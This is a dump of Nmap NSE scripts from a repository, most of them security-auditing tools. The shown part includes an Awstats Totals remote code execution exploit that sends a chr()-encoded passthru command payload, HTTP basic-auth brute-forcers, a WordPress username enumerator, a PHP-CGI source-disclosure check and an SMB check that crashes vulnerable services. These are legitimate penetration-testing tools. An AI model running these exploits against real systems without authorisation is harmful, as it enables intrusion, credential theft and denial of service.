|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\x01|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| 29 | -- 30 | -- @args huawei5xx-udp-info.timeout Timeout value. Default:3000ms 31 | --- 32 | 33 | author = "Paulino Calderon" 34 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 35 | categories = {"intrusive", "vuln"} 36 | 37 | HUAWEI_UDP_PORT = 43690 38 | PAYLOAD_LOCATION = "nselib/data/huawei-udp-info" 39 | 40 | portrule = shortport.portnumber(HUAWEI_UDP_PORT, "udp", {"open", "open|filtered", "filtered"}) 41 | 42 | load_udp_payload = function() 43 | local payload_l = nmap.fetchfile(PAYLOAD_LOCATION) 44 | if (not(payload_l)) then 45 | stdnse.print_debug(1, "%s:Couldn't locate payload %s", SCRIPT_NAME, PAYLOAD_LOCATION) 46 | return 47 | end 48 | local payload_h = io.open(payload_l, "rb") 49 | local payload = payload_h:read("*a") 50 | if (not(payload)) then 51 | stdnse.print_debug(1, "%s:Couldn't load payload %s", SCRIPT_NAME, payload_l) 52 | if nmap.verbosity()>=2 then 53 | return "[Error] Couldn't load payload" 54 | end 55 | return 56 | end 57 | 58 | payload_h:flush() 59 | payload_h:close() 60 | return payload 61 | end 62 | 63 | --- 64 | -- send_udp_payload(ip, timeout) 65 | -- Sends the payload to port and returns the response 66 | --- 67 | send_udp_payload = function(ip, timeout, payload) 68 | local data 69 | stdnse.print_debug(2, "%s:Sending UDP payload", SCRIPT_NAME) 70 | local socket = nmap.new_socket("udp") 71 | socket:set_timeout(tonumber(timeout)) 72 | local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp") 73 | if (not(status)) then return end 74 | status = socket:send(payload) 75 | if (not(status)) then return end 76 | 77 | status, data = socket:receive() 78 | if (not(status)) then 79 | socket:close() 80 | return 81 | end 82 | socket:close() 83 | return data 84 | end 85 | 86 | --- 87 | -- Parses response to extract information. 88 | -- Only removes null bytes now. 89 | --- 90 | parse_resp = function(resp) 91 | local out = resp:gsub("%z", "|") 92 | return out 93 | end 94 | 95 | --- 96 | --MAIN 97 | --- 98 | action = function(host, port) 99 | local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000 100 | local payload = load_udp_payload() 101 | local response = send_udp_payload(host.ip, timeout, payload) 102 | if response then 103 | return parse_resp(response) 104 | end 105 | end 106 | -------------------------------------------------------------------------------- /old-scripts/http-vuln-cve2012-1823.nse: -------------------------------------------------------------------------------- 1 | local http = require "http" 2 | local shortport = require "shortport" 3 | local stdnse = require "stdnse" 4 | local string = require "string" 5 | local vulns = require "vulns" 6 | 7 | description = [[ 8 | Detects PHP-CGI installations that are vulnerable to CVE-2012-1823, This vulnerability is critical and it allows attackers to retrieve source code and execute code remotely. 9 | 10 | The script works by appending "?-s" to the uri to make vulnerable php-cgi handlers return colour syntax highlighted source. We use the pattern "<?" to detect 11 | vulnerable installations. 12 | 13 | TODO: 14 | -Improve detection mechanism ( Execute certain payload and look for it in the response to confirm exploitability) 15 | -Add exploitation script 16 | ]] 17 | 18 | --- 19 | -- @usage 20 | -- nmap -sV --script http-vuln-cve2012-1823 21 | -- nmap -p80 --script http-vuln-cve2012-1823 --script-args http-vuln-cve2012-1823.uri=/test.php 22 | -- @output 23 | -- PORT STATE SERVICE REASON 24 | -- 80/tcp open http syn-ack 25 | -- | http-vuln-cve2012-1823: 26 | -- | VULNERABLE: 27 | -- | PHP-CGI Remote code execution and source code disclosure 28 | -- | State: VULNERABLE (Exploitable) 29 | -- | IDs: CVE:2012-1823 30 | -- | Description: 31 | -- | According to PHP's website, "PHP is a widely-used general-purpose 32 | -- | scripting language that is especially suited for Web development and 33 | -- | can be embedded into HTML." When PHP is used in a CGI-based setup 34 | -- | (such as Apache's mod_cgid), the php-cgi receives a processed query 35 | -- | string parameter as command line arguments which allows command-line 36 | -- | switches, such as -s, -d or -c to be passed to the php-cgi binary, 37 | -- | which can be exploited to disclose source code and obtain arbitrary 38 | -- | code execution. 39 | -- | Disclosure date: 2012-05-3 40 | -- | Extra information: 41 | -- | Proof of Concept:/index.php?-s 42 | -- | References: 43 | -- | http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 44 | -- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823 45 | -- |_ http://ompldr.org/vZGxxaQ 46 | -- 47 | -- @args http-vuln-cve2012-1823.uri URI. Default: /index.php 48 | --- 49 | 50 | author = "Paulino Calderon" 51 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 52 | categories = {"exploit","vuln","intrusive"} 53 | 54 | 55 | portrule = shortport.http 56 | 57 | action = function(host, port) 58 | local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/index.php" 59 | 60 | local vuln = { 61 | title = 'PHP-CGI Remote code execution and source code disclosure', 62 | state = vulns.STATE.NOT_VULN, -- default 63 | IDS = {CVE = '2012-1823'}, 64 | description = [[ 65 | According to PHP's website, "PHP is a widely-used general-purpose 66 | scripting language that is especially suited for Web development and 67 | can be embedded into HTML." When PHP is used in a CGI-based setup 68 | (such as Apache's mod_cgid), the php-cgi receives a processed query 69 | string parameter as command line arguments which allows command-line 70 | switches, such as -s, -d or -c to be passed to the php-cgi binary, 71 | which can be exploited to disclose source code and obtain arbitrary 72 | code execution.]], 73 | references = { 74 | 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/', 75 | 'http://ompldr.org/vZGxxaQ', 76 | }, 77 | dates = { 78 | disclosure = {year = '2012', month = '05', day = '3'}, 79 | }, 80 | } 81 | local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) 82 | 83 | local reg_session = http.get(host, port, uri) 84 | if reg_session and reg_session.status == 200 then 85 | if string.match(reg_session.body, "<?") then 86 | stdnse.print_debug(1, "Pattern exists on file! We can't determine if this page is vulnerable. Try with a different URI.") 87 | return 88 | end 89 | end 90 | 91 | local open_session = http.get(host, port, uri.."?-s") 92 | if open_session and open_session.status == 200 then 93 | if string.match(open_session.body, "<?") then 94 | vuln.state = vulns.STATE.EXPLOIT 95 | vuln.extra_info=string.format("Proof of Concept:%s\n%s", uri.."?-s", open_session.body) 96 | return vuln_report:make_output(vuln) 97 | end 98 | end 99 | end 100 | -------------------------------------------------------------------------------- /scripts/http-cakephp-version.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Obtains the CakePHP version of a web application built with the CakePHP framework by fingerprinting default files shipped with the CakePHP framework. 3 | 4 | This script queries the files 'vendors.php', 'cake.generic.css', 'cake.icon.png' and 'cake.icon.gif' to try to obtain the version of the CakePHP installation. 5 | Since installations that had been upgraded are prone to false positives due to old files that aren't removed, the script displays 3 different versions: 6 | * Codebase: Taken from the existence of vendors.php (1.1.x or 1.2.x if it does and 1.3.x otherwise) 7 | * Stylesheet: Taken from cake.generic.css 8 | * Icon: Taken from cake.icon.gif or cake.icon.png 9 | 10 | For more information about CakePHP visit: http://www.cakephp.org/. 11 | ]] 12 | 13 | --- 14 | -- @usage 15 | -- nmap -p80,443 --script http-cakephp-version 16 | -- 17 | -- @output 18 | -- PORT STATE SERVICE 19 | -- 80/tcp open http 20 | -- | http-cakephp-version: Version of codebase: 1.2.x 21 | -- | Version of icons: 1.2.x 22 | -- | Version of stylesheet: 1.2.6 23 | 24 | author = "Paulino Calderon" 25 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 26 | categories = {"discovery","safe"} 27 | 28 | local http = require "http" 29 | local nmap = require "nmap" 30 | local shortport = require "shortport" 31 | local stdnse = require "stdnse" 32 | 33 | local openssl = stdnse.silent_require "openssl" 34 | 35 | portrule = shortport.http 36 | 37 | -- Queries for fingerprinting 38 | local PNG_ICON_QUERY = "/img/cake.icon.png" 39 | local GIF_ICON_QUERY = "/img/cake.icon.gif" 40 | local STYLESHEET_QUERY = "/css/cake.generic.css" 41 | local VENDORS_QUERY = "/js/vendors.php" 42 | 43 | -- Cakephp's stylesheets hashes 44 | local CAKEPHP_STYLESHEET_HASHES = { 45 | ["aaf0340c16415585554a7aefde2778c4"] = {"1.1.12"}, 46 | ["8f8a877d924aa26ccd66c84ff8f8c8fe"] = {"1.1.14"}, 47 | ["02a661c167affd9deda2a45f4341297e"] = {"1.1.17", "1.1.20"}, 48 | ["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"1.2.0 - 1.2.5", "1.3.0 Alpha"}, 49 | ["1ffc970c5eae684bebc0e0133c4e1f01"] = {"1.2.6"}, 50 | ["2e7f5372931a7f6f86786e95871ac947"] = {"1.2.7 - 1.2.9"}, 51 | ["3422eded2fcceb3c89cabb5156b5d4e2"] = {"1.3.0 beta"}, 52 | ["3c31e4674f42a49108b5300f8e73be26"] = {"1.3.0 RC1 - 1.3.7"} 53 | } 54 | 55 | action = function(host, port) 56 | local response, png_icon_response, gif_icon_response 57 | local icon_versions, stylesheet_versions 58 | local icon_hash, stylesheet_hash 59 | local output_lines 60 | local installation_version 61 | 62 | local _, http_status, _ = http.identify_404( host.ip,port) 63 | if ( http_status == 200 ) then 64 | stdnse.print_debug(1, "%s:HTTP server always return status 200. Exiting to avoid false positives", SCRIPT_NAME) 65 | return false 66 | end 67 | 68 | -- Are the default icons there? 69 | png_icon_response = http.get(host, port, PNG_ICON_QUERY) 70 | gif_icon_response = http.get(host, port, GIF_ICON_QUERY) 71 | if png_icon_response.body and png_icon_response.status == 200 then 72 | icon_versions = {"1.3.x"} 73 | elseif gif_icon_response.body and gif_icon_response.status == 200 then 74 | icon_versions = {"1.2.x"} 75 | end 76 | 77 | -- Download cake.generic.css and fingerprint 78 | response = http.get(host, port, STYLESHEET_QUERY) 79 | if response.body and response.status == 200 then 80 | stylesheet_hash = stdnse.tohex(openssl.md5(response.body)) 81 | stylesheet_versions = CAKEPHP_STYLESHEET_HASHES[stylesheet_hash] 82 | end 83 | -- Is /js/vendors.php there? 84 | response = http.get(host, port, VENDORS_QUERY) 85 | if response.body and response.status == 200 then 86 | installation_version = {"1.1.x","1.2.x"} 87 | elseif response.status ~= 200 and (icon_versions or stylesheet_versions) then 88 | installation_version = {"1.3.x"} 89 | end 90 | -- Prepare output 91 | output_lines = {} 92 | if installation_version then 93 | output_lines[#output_lines + 1] = "Version of codebase: " .. stdnse.strjoin(", ", installation_version) 94 | end 95 | if icon_versions then 96 | output_lines[#output_lines + 1] = "Version of icons: " .. stdnse.strjoin(", ", icon_versions) 97 | end 98 | if stylesheet_versions then 99 | output_lines[#output_lines + 1] = "Version of stylesheet: " .. stdnse.strjoin(", ", stylesheet_versions) 100 | elseif stylesheet_hash and nmap.verbosity() >= 2 then 101 | output_lines[#output_lines + 1] = "Default stylesheet has an unknown hash: " .. stylesheet_hash 102 | end 103 | if #output_lines > 0 then 104 | return stdnse.strjoin("\n", output_lines) 105 | end 106 | end 107 | -------------------------------------------------------------------------------- /old-scripts/http-brute.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Performs brute force password auditing against http basic authentication. 3 | ]] 4 | 5 | --- 6 | -- @usage 7 | -- nmap --script http-brute -p 80 8 | -- 9 | -- This script uses the unpwdb and brute libraries to perform password 10 | -- guessing. Any successful guesses are stored in the nmap registry, under 11 | -- the nmap.registry.credentials.http key for other scripts to use. 12 | -- 13 | -- @output 14 | -- PORT STATE SERVICE REASON 15 | -- 80/tcp open http syn-ack 16 | -- | http-brute: 17 | -- | Accounts 18 | -- | Patrik Karlsson:secret => Login correct 19 | -- | Statistics 20 | -- |_ Perfomed 60023 guesses in 467 seconds, average tps: 138 21 | -- 22 | -- Summary 23 | -- ------- 24 | -- x The Driver class contains the driver implementation used by the brute 25 | -- library 26 | -- 27 | -- @args http-brute.path points to the path protected by authentication 28 | -- @args http-brute.hostname sets the host header in case of virtual hosting 29 | -- @args http-brute.method sets the HTTP method to use (default GET) 30 | 31 | -- 32 | -- Version 0.1 33 | -- Created 07/30/2010 - v0.1 - created by Patrik Karlsson 34 | -- Version 0.2 35 | -- Updated on 06/09/2011 - Thread arg and updated portrule by Paulino Calderon 36 | -- 37 | 38 | author = "Patrik Karlsson" 39 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 40 | categories = {"intrusive", "auth"} 41 | 42 | require 'shortport' 43 | require 'http' 44 | require 'brute' 45 | 46 | portrule = shortport.http 47 | 48 | Driver = { 49 | new = function(self, host, port, method) 50 | local o = {} 51 | setmetatable(o, self) 52 | self.__index = self 53 | o.host = nmap.registry.args['http-brute.hostname'] or host 54 | o.port = port 55 | o.path = nmap.registry.args['http-brute.path'] 56 | o.method = method 57 | return o 58 | end, 59 | connect = function( self ) 60 | -- This will cause problems, as ther is no way for us to "reserve" 61 | -- a socket. We may end up here early with a set of credentials 62 | -- which won't be guessed until the end, due to socket exhaustion. 63 | return true 64 | end, 65 | login = function( self, username, password ) 66 | -- we need to supply the no_cache directive, or else the http library 67 | -- incorrectly tells us that the authentication was successfull 68 | local response = http.generic_request( self.host, self.port, self.method, self.path, { auth = { username = username, password = password }, no_cache = true }) 69 | 70 | -- We should probably do more tests here, 500 error and redirects 71 | -- should be possible candidates. checking for ~= 401 *should* work to 72 | -- but gave me a number of false positives last time I tried. 73 | -- After Davids initial review we decided to change it to not 4xx and 74 | -- not 5xx. That would roughly equal the following: 75 | if ( response.status < 400 or response.status > 599 ) then 76 | if ( not( nmap.registry['credentials'] ) ) then 77 | nmap.registry['credentials'] = {} 78 | end 79 | if ( not( nmap.registry.credentials['http'] ) ) then 80 | nmap.registry.credentials['http'] = {} 81 | end 82 | table.insert( nmap.registry.credentials.http, { username = username, password = password } ) 83 | return true, brute.Account:new( username, password, "OPEN") 84 | end 85 | return false, brute.Error:new( "Incorrect password" ) 86 | end, 87 | 88 | disconnect = function( self ) 89 | return true 90 | end, 91 | 92 | check = function( self ) 93 | local response = http.generic_request( self.host, self.port, self.method, self.path, { no_cache = true } ) 94 | if ( response.status == 401 ) then 95 | return true 96 | end 97 | return false 98 | end, 99 | 100 | } 101 | 102 | 103 | action = function( host, port ) 104 | local status, result 105 | local path = nmap.registry.args['http-brute.path'] 106 | local method = string.upper(nmap.registry.args['http-brute.method'] or "GET") 107 | local thread_num = nmap.registry.args["http-brute.threads"] or 3 108 | local engine = brute.Engine:new(Driver, host, port, method ) 109 | 110 | if ( not(path) ) then 111 | return " \n ERROR: No path was specified (see http-brute.path)" 112 | end 113 | 114 | local response = http.generic_request( host, port, method, path, { no_cache = true } ) 115 | 116 | if ( response.status ~= 401 ) then 117 | return (" \n Path \"%s\" does not require authentication"):format(path) 118 | end 119 | 120 | engine:setMaxThreads(thread_num) 121 | status, result = engine:start() 122 | 123 | return result 124 | end 125 | -------------------------------------------------------------------------------- /scripts/http-brute.nse: -------------------------------------------------------------------------------- 1 | local brute = require "brute" 2 | local creds = require "creds" 3 | local http = require "http" 4 | local nmap = require "nmap" 5 | local shortport = require "shortport" 6 | local string = require "string" 7 | local table = require "table" 8 | local stdnse = require "stdnse" 9 | 10 | description = [[ 11 | Performs brute force password auditing against http basic authentication. 12 | ]] 13 | 14 | --- 15 | -- @usage 16 | -- nmap --script http-brute -p 80 17 | -- 18 | -- This script uses the unpwdb and brute libraries to perform password 19 | -- guessing. Any successful guesses are stored in the nmap registry, under 20 | -- the nmap.registry.credentials.http key for other scripts to use. 21 | -- 22 | -- @output 23 | -- PORT STATE SERVICE REASON 24 | -- 80/tcp open http syn-ack 25 | -- | http-brute: 26 | -- | Accounts 27 | -- | Patrik Karlsson:secret => Valid credentials 28 | -- | Statistics 29 | -- |_ Perfomed 60023 guesses in 467 seconds, average tps: 138 30 | -- 31 | -- Summary 32 | -- ------- 33 | -- x The Driver class contains the driver implementation used by the brute 34 | -- library 35 | -- 36 | -- @args http-brute.path points to the path protected by authentication (default: /) 37 | -- @args http-brute.hostname sets the host header in case of virtual hosting 38 | -- @args http-brute.method sets the HTTP method to use (default: GET) 39 | 40 | -- 41 | -- Version 0.1 42 | -- Created 07/30/2010 - v0.1 - created by Patrik Karlsson 43 | -- 44 | 45 | author = "Patrik Karlsson" 46 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 47 | categories = {"intrusive", "brute"} 48 | 49 | 50 | portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open") 51 | 52 | Driver = { 53 | 54 | new = function(self, host, port, method) 55 | local o = {} 56 | setmetatable(o, self) 57 | self.__index = self 58 | o.host = stdnse.get_script_args("http-brute.hostname") or host 59 | o.port = port 60 | o.path = stdnse.get_script_args("http-brute.path") or "/" 61 | o.method = method 62 | return o 63 | end, 64 | 65 | connect = function( self ) 66 | -- This will cause problems, as ther is no way for us to "reserve" 67 | -- a socket. We may end up here early with a set of credentials 68 | -- which won't be guessed until the end, due to socket exhaustion. 69 | return true 70 | end, 71 | 72 | login = function( self, username, password ) 73 | -- we need to supply the no_cache directive, or else the http library 74 | -- incorrectly tells us that the authentication was successfull 75 | local response = http.generic_request( self.host, self.port, self.method, self.path, { auth = { username = username, password = password }, no_cache = true }) 76 | 77 | -- Checking for ~= 401 *should* work to 78 | -- but gave me a number of false positives last time I tried. 79 | -- We decided to change it to ~= 4xx. 80 | if ( response.status < 400 or response.status > 499 ) then 81 | if ( not( nmap.registry['credentials'] ) ) then 82 | nmap.registry['credentials'] = {} 83 | end 84 | if ( not( nmap.registry.credentials['http'] ) ) then 85 | nmap.registry.credentials['http'] = {} 86 | end 87 | table.insert( nmap.registry.credentials.http, { username = username, password = password } ) 88 | return true, brute.Account:new( username, password, creds.State.VALID) 89 | end 90 | return false, brute.Error:new( "Incorrect password" ) 91 | end, 92 | 93 | disconnect = function( self ) 94 | return true 95 | end, 96 | 97 | check = function( self ) 98 | local response = http.generic_request( self.host, self.port, self.method, self.path, { no_cache = true } ) 99 | 100 | if ( response.status == 401 ) then 101 | return true 102 | end 103 | return false 104 | end, 105 | 106 | } 107 | 108 | 109 | action = function( host, port ) 110 | local status, result 111 | local path = stdnse.get_script_args("http-brute.path") or "/" 112 | local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET") 113 | local engine = brute.Engine:new(Driver, host, port, method ) 114 | engine.options.script_name = SCRIPT_NAME 115 | 116 | if ( not(path) ) then 117 | return " \n ERROR: No path was specified (see http-brute.path)" 118 | end 119 | 120 | local response = http.generic_request( host, port, method, path, { no_cache = true } ) 121 | 122 | if ( response.status ~= 401 ) then 123 | return (" \n Path \"%s\" does not require authentication"):format(path) 124 | end 125 | 126 | 127 | status, result = engine:start() 128 | 129 | return result 130 | end 131 | -------------------------------------------------------------------------------- /old-scripts/http-wp-enum.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | http-wp-enum enumerates usernames in Wordpress installations by exploiting an information disclosure vulnerability 3 | existing in versions 2.6, 3.1, 3.1.1, 3.1.3 and 3.2-beta2 and possibly others. 4 | 5 | Original advisory: 6 | * http://www.talsoft.com.ar/index.php/research/security-advisories/wordpress-user-id-and-user-name-disclosure 7 | ]] 8 | 9 | --- 10 | -- @usage 11 | -- nmap -p80 --script http-wp-enum 12 | -- nmap -sV --script http-wp-enum --script-args limit=50 13 | -- 14 | -- @output 15 | -- PORT STATE SERVICE REASON 16 | -- 80/tcp open http syn-ack 17 | -- | http-wp-enum: 18 | -- | Username found: admin 19 | -- | Username found: mauricio 20 | -- | Username found: cesar 21 | -- | Username found: lean 22 | -- | Username found: alex 23 | -- | Username found: ricardo 24 | -- |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wp-enum.limit' 25 | -- 26 | -- @args http-wp-enum.limit Upper limit for ID search. Default: 25 27 | -- @args http-wp-enum.basepath Base path to Wordpress. Default: / 28 | -- @args http-wp-enum.out If set it saves the username list in this file. 29 | --- 30 | 31 | author = "Paulino Calderon" 32 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 33 | categories = {"discovery", "auth", "intrusive", "vuln"} 34 | 35 | require "shortport" 36 | require "http" 37 | 38 | portrule = shortport.http 39 | 40 | --- 41 | -- Returns the username extracted from the url corresponding to the id passed 42 | -- If user id doesn't exists returns false 43 | -- @param host Host table 44 | -- @param port Port table 45 | -- @param path Base path to WP 46 | -- @param id User id 47 | -- @return false if not found otherwise it returns the username 48 | --- 49 | local function get_wp_user(host, port, path, id) 50 | stdnse.print_debug(2, "%s: Trying to get username with id %s", SCRIPT_NAME, id) 51 | local req = http.get(host, port, path.."?author="..id, { no_cache = true}) 52 | if req.status then 53 | stdnse.print_debug(1, "%s: User id #%s returned status %s", SCRIPT_NAME, id, req.status) 54 | if req.status == 301 then 55 | local _, _, user = string.find(req.header.location, 'http://.*/.*/(.*)/') 56 | return user 57 | end 58 | end 59 | return false 60 | end 61 | 62 | --- 63 | --Returns true if WP installation exists. 64 | --We assume an installation exists if wp-login.php is found 65 | --@param host Host table 66 | --@param port Port table 67 | --@param path Path to WP 68 | --@return True if WP was found 69 | -- 70 | local function check_wp(host, port, path) 71 | stdnse.print_debug(2, "%s:Checking %swp-login.php ", SCRIPT_NAME, path) 72 | local req = http.get(host, port, path.."wp-login.php", {no_cache=true}) 73 | if req.status and req.status == 200 then 74 | return true 75 | end 76 | return false 77 | end 78 | 79 | --- 80 | --Writes string to file 81 | --Taken from: hostmap.nse 82 | --@param filename Target filename 83 | --@param contents String to save 84 | --@return true when successful 85 | local function write_file(filename, contents) 86 | local f, err = io.open(filename, "w") 87 | if not f then 88 | return f, err 89 | end 90 | f:write(contents) 91 | f:close() 92 | return true 93 | end 94 | 95 | 96 | --- 97 | --MAIN 98 | --- 99 | action = function(host, port) 100 | local basepath = stdnse.get_script_args("http-wp-enum.basepath") or "/" 101 | local limit = stdnse.get_script_args("http-wp-enum.limit") or 25 102 | local filewrite = stdnse.get_script_args("http-wp-enum.out") 103 | local output = {""} 104 | local users = {} 105 | --First, we check this is WP 106 | if not(check_wp(host, port, basepath)) then 107 | if nmap.verbosity() >= 2 then 108 | return "[Error] Wordpress installation was not found. We couldn't find wp-login.php" 109 | else 110 | return 111 | end 112 | end 113 | 114 | --Incrementing ids to enum users 115 | for i=1, tonumber(limit) do 116 | local user = get_wp_user(host, port, basepath, i) 117 | if user then 118 | stdnse.print_debug(1, "%s: Username found -> %s", SCRIPT_NAME, user) 119 | output[#output+1] = string.format("Username found: %s", user) 120 | users[#users+1] = user 121 | end 122 | end 123 | 124 | if filewrite and #users>0 then 125 | local status, err = write_file(filewrite, stdnse.strjoin("\n", users)) 126 | if status then 127 | output[#output+1] = string.format("Users saved to %s\n", filewrite) 128 | else 129 | output[#output+1] = string.format("Error saving %s: %s\n", filewrite, err) 130 | end 131 | end 132 | 133 | if #output > 1 then 134 | output[#output+1] = string.format("Search stopped at ID #%s. Increase the upper limit if necessary with 'http-wp-enum.limit'", limit) 135 | return stdnse.strjoin("\n", output) 136 | end 137 | end 138 | -------------------------------------------------------------------------------- /old-scripts/http-awstatstotals-exec.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | http-awstatstotals-exec exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14 and possibly other products based on it. [CVE: 2008-3922] 3 | 4 | This vulnerability can be exploited through the GET variable sort. The script queries the web server with the command payload encoded using PHP's chr() function: 5 | ?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}} 6 | 7 | Common paths for Awstats Total: 8 | * /awstats/index.php 9 | * /awstatstotals/index.php 10 | * /awstats/awstatstotals.php 11 | 12 | References: 13 | * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922 14 | * http://www.exploit-db.com/exploits/17324/ 15 | ]] 16 | 17 | --- 18 | -- @usage 19 | -- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' 20 | -- nmap -sV --script http-awstatstotals-exec.nse 21 | -- 22 | -- @output 23 | -- PORT STATE SERVICE REASON 24 | -- 80/tcp open http syn-ack 25 | -- | http-awstatstotals-exec.nse: 26 | -- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux 27 | -- 28 | -- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php 29 | -- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami 30 | -- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file. 31 | --- 32 | -- Other useful args when running this script: 33 | -- http.useragent - User Agent to use in GET request 34 | -- 35 | 36 | author = "Paulino Calderon" 37 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 38 | categories = {"vuln", "intrusive", "exploit"} 39 | 40 | require "shortport" 41 | require "http" 42 | require "url" 43 | 44 | portrule = shortport.http 45 | 46 | --default values 47 | local DEFAULT_CMD = "whoami" 48 | local DEFAULT_URI = "/index.php" 49 | 50 | --- 51 | --Writes string to file 52 | -- @param filename Filename to write 53 | -- @param content Content string 54 | -- @return boolean status 55 | -- @return string error 56 | --Taken from: hostmap.nse 57 | local function write_file(filename, contents) 58 | local f, err = io.open(filename, "w") 59 | if not f then 60 | return f, err 61 | end 62 | f:write(contents) 63 | f:close() 64 | return true 65 | end 66 | 67 | --- 68 | --Checks if Awstats Totals installation seems to be there 69 | -- @param host Host table 70 | -- @param port Port table 71 | -- @param path Path pointing to AWStats Totals 72 | -- @return true if awstats totals is found 73 | local function check_installation(host, port, path) 74 | local check_req = http.get(host, port, path) 75 | if not(http.response_contains(check_req, "AWStats")) then 76 | return false 77 | end 78 | return true 79 | end 80 | 81 | --- 82 | --MAIN 83 | --- 84 | action = function(host, port) 85 | local output = {} 86 | local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI 87 | local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD 88 | local out = stdnse.get_script_args("http-awstatstotals-exec.outfile") 89 | 90 | --check for awstats signature 91 | local awstats_check = check_installation(host, port, uri) 92 | if not(awstats_check) then 93 | stdnse.print_debug(1, "%s:This does not look like Awstats Totals. Quitting.", SCRIPT_NAME) 94 | return 95 | end 96 | 97 | --Encode payload using PHP's chr() 98 | local encoded_payload = "" 99 | cmd:gsub(".", function(c) encoded_payload = encoded_payload .."chr("..string.byte(c)..")." end) 100 | if string.sub(encoded_payload, #encoded_payload) == "." then 101 | encoded_payload = string.sub(encoded_payload, 1, #encoded_payload-1) 102 | end 103 | local stealth_payload = "?sort={%24{passthru%28"..encoded_payload.."%29}}{%24{exit%28%29}}" 104 | 105 | --set payload and send request 106 | local req = http.get(host, port, uri .. stealth_payload) 107 | if req.status and req.status == 200 then 108 | output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body) 109 | 110 | --if out set, save output to file 111 | if out then 112 | local status, err = write_file(out, req.body) 113 | if status then 114 | output[#output+1] = string.format("Output saved to %s\n", out) 115 | else 116 | output[#output+1] = string.format("Error saving output to %s: %s\n", out, err) 117 | end 118 | end 119 | 120 | else 121 | if nmap.verbosity()>= 2 then 122 | output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request" 123 | end 124 | end 125 | 126 | --output 127 | if #output>0 then 128 | return stdnse.strjoin("\n", output) 129 | end 130 | end 131 | -------------------------------------------------------------------------------- /scripts/smb-vuln-regsvc-dos.nse: -------------------------------------------------------------------------------- 1 | local msrpc = require "msrpc" 2 | local nmap = require "nmap" 3 | local smb = require "smb" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | local table = require "table" 7 | local vulns = require "vulns" 8 | 9 | description = [[ 10 | Checks if a Microsoft Windows 2000 system is vulnerable to a crash in regsvc caused by a null pointer 11 | dereference. This check will crash the service if it is vulnerable and requires a guest account or 12 | higher to work. 13 | 14 | The vulnerability was discovered by Ron Bowes while working on smb-enum-sessions and 15 | was reported to Microsoft (Case #MSRC8742). 16 | ]] 17 | --- 18 | --@usage 19 | -- nmap --script smb-vuln-regsvc-dos.nse -p445 20 | -- nmap -sU --script smb-vuln-regsvc-dos.nse -p U:137,T:139 21 | -- 22 | --@output 23 | --| smb-vuln-regsvc-dos: 24 | --| VULNERABLE: 25 | --| Service regsvc in Microsoft Windows systems vulnerable to denial of service 26 | --| State: VULNERABLE 27 | --| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference 28 | --| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes 29 | --| while working on smb-enum-sessions. 30 | --|_ 31 | --- 32 | 33 | author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon "} 34 | copyright = "Ron Bowes" 35 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 36 | categories = {"intrusive","exploit","dos","vuln"} 37 | -- run after all smb-* scripts (so if it DOES crash something, it doesn't kill 38 | -- other scans have had a chance to run) 39 | dependencies = { 40 | "smb-brute", "smb-enum-sessions", "smb-security-mode", 41 | "smb-enum-shares", "smb-server-stats", 42 | "smb-enum-domains", "smb-enum-users", "smb-system-info", 43 | "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", 44 | "smb-psexec", 